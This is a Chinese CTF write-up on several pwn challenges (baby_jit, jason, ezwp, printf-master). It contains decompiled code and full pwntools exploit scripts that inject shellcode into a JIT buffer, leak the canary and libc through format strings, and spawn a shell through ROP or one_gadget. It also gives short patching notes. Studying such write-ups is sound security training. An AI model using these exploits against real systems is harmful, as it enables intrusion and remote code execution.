baby_jit-1
禁用execve那就用orw
这里莫名会分配空间,尝试改成*4
实际上多分配的8个字节用来写数字


后面偏移自己规定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| unsigned __int64 sub_1389() { int i; int v2; int v3; char *endptr; unsigned __int64 v5; char *v6; __int64 v7; char *s1; char s[8]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); puts("offset?"); fgets(s, 8, stdin); v2 = (int)(atof(s) * 12.0); v3 = 12 * dword_402C + 4; v6 = (char *)mmap((void *)0x100000, 12 * dword_402C + 20, 7, 34, -1, 0LL); v6[v3 - 4] = 72; v6[v3 - 3] = -119; v6[v3 - 2] = -40; v6[v3 - 1] = -61; for ( i = 0; i < dword_402C; ++i ) { s1 = (char *)*((_QWORD *)ptr + i); *v6 = 72; v6[1] = -72; v5 = strtoull(s1 + 4, &endptr, 10); *(_QWORD *)(v6 + 2) = v5; v6 += 10; *v6 = 72; v6[2] = -61; if ( !strncmp(s1, "add", 3uLL) ) { v6[1] = 1; } else if ( !strncmp(s1, "sub", 3uLL) ) { v6[1] = 41; } else if ( !strncmp(s1, "xor", 3uLL) ) { v6[1] = 49; } else if ( !strncmp(s1, "and", 3uLL) ) { v6[1] = 33; } v6 += 3; } v7 = ((__int64 (*)(void))(v2 + 0x100000))(); printf("result = %llu\n", v7); munmap((void *)0x100000, v3); return __readfsqword(0x28u) ^ v10; }
|
add的数字会被写到0x100002
最后的shellcode需要先覆盖原来的8个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * import time from math import gcd import subprocess
def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00')) def g(): gdb.attach(p) def d(idx): sla(">>",str(idx)) def red(sd): d(1) sla("name:",str(sd)) def exec(index): d(2) sla("et?",str(index)) def add(index): d(1) sl((index))
p = process('./baby_jit')
pp = asm(''' push 0 pop rdi xchg rdx,rsi syscall ''')
calc= str(u64(pp.ljust(8,b'\x00')))
add(b'add 364776757688991850')
exec(0.2)
sl(b'\x90'*8+asm(shellcraft.open('./flag')+shellcraft.read(3,0x100000+0x300,0x30)+shellcraft.write(1,0x100000+0x300,0x30))) p.interactive()
|
如果orw都禁止了的话也可以用cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from ctypes import *
FILENAME='./baby_jit' p= process(FILENAME)
context.arch='amd64'
def Add(context): p.recvuntil(b'>>') p.sendline(b'1') p.sendline(context) def Exec(context): p.recvuntil(b'>>') p.sendline(b'2') p.recvuntil(b'offset') p.sendline(context) sh=''' push rax pop rdi push rdx pop rsi syscall ''' calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))
Add(f'add {calc_sh}')
Exec(b'0.2') sleep(1) p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag'))) p.interactive()
|
jason-1
存在格式化字符串漏洞
第一反应就是把prtinf改成puts
由于给的是相对偏移,根据上述指令的规律和直觉性,相对偏移应该是0xffffc1xx,0x4ff7-0x4feb=0xc,尝试在c4的基础上+c或者-c,可以直接完成fix
0xFFFFC1C4 是一个负数,其表示的是 -0x3E3C
目标地址 = call 指令的下一条指令地址 + 偏移量
下一条指令地址为0000000000004FFC
目标地址 = 0x4FFC - 0x3E3C = 0x11C0
保护全开
经测试canary偏移为25,libc偏移为27
存在栈溢出的函数在一个未命名的函数下面比较难找
另外,前面函数可以控制read长度容易存在溢出,输入大量字符也能发现漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * from struct import pack from ctypes import *
filename='./' elf = ELF(filename)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
debug = 1 if debug: io = process(filename) else: io = remote('node5.anna.nssctf.cn',21565)
def s(a) : io.send(a) def sa(a, b) : io.sendafter(a, b) def sl(a) : io.sendline(a) def sla(a, b) : io.sendlineafter(a, b) def r(a) : return io.recv(a) def pr() : print(io.recv()) def ru(a) : return io.recvuntil(a) def inter() : io.interactive() def debug(): gdb.attach(io) def b(addr): bk='b *' + str(addr) attach(io,bk) def get_addr_32(): return u32(io.recvuntil(b'\xf7')[-4:]) def get_addr(): return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def d(idx): sla(">",str(idx)) def add(tp, content,aa): d(3) sla("name:",str(tp)) sla(b'len:', str(content)) sla("data:",aa) def free(index): d(4) sla("name:",(index)
sla("size:",str(0x88)) sla("Json:",b'44')
free("%25$p") rl(b'0x') canary = int(r(16),16) info(hex(can)) free("%27$p") rl(b'0x') libc_base=int(p.recv(12),16)-0x24083 info(hex(base)) pop_rdi = 0x23b6a+libc_base system,bin_sh=get_addr() add(4,0x1000,b'a'*632+p64(canary)*2+p64(pop_rdi)+p64(bin_sh)+p64(system))
inter()
|
正常思路是劫持ret_addr改为one_gadget
偏移22处一般显示不出来指针链,但可以猜
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import *
FILENAME='./jason' p= process(FILENAME) libc=ELF('./libc.so.6')
context.arch='amd64'
def show(name): p.recvuntil(b'>') p.sendline(b'4') p.recvuntil(b'name') p.sendline(name)
p.recvuntil(b'size') p.sendline(b'20') p.recvuntil(b'Json') p.sendline(b'21') show(b'%27$p%10$p')
p.recvuntil(b'0x') libc_add=int(p.recv(6*2),16) libcbase=libc_add-libc.sym['__libc_start_main']-243 success('libcbase '+hex(libcbase)) one_gadget=[0xe3afe,0xe3b01,0xe3b04] execve=libcbase+one_gadget[1] success('execve '+hex(execve))
p.recvuntil(b'0x') stack_add=int(p.recv(6*2),16) success('stack_add '+hex(stack_add))
stack_add+=0x8 f=execve&0xffff
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hn' payload=payload.ljust(0x10,b'\x00') payload+=p64(stack_add)
show(payload)
f=(execve>>(2*8))&0xff print(hex(f)) payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hhn' payload=payload.ljust(0x10,b'\x00') payload+=p64(stack_add+2)
show(payload)
p.recvuntil(b'>') p.sendline(b'2') p.recvuntil(b'name') p.sendline(b'd')
p.interactive()
|
ezwp-1
根据字符串找到关键代码
这里会造成单字节溢出,也就是说如果输入的超过0xff,例如0x100将会强制转化成0,这个时候能通过比较,而下面的密码比较只比较0x20,也就能成功绕过
fix思路是把byte改成word,但是会增加字长,未必能修,或者直接把字符串改了
后面环境没了就找不到了
printf-master-3
有非栈上格式化字符串漏洞
printf改puts的做法
泄露各种地址,#表示进制带格式
禁用$,利用堆叠占位符就能解决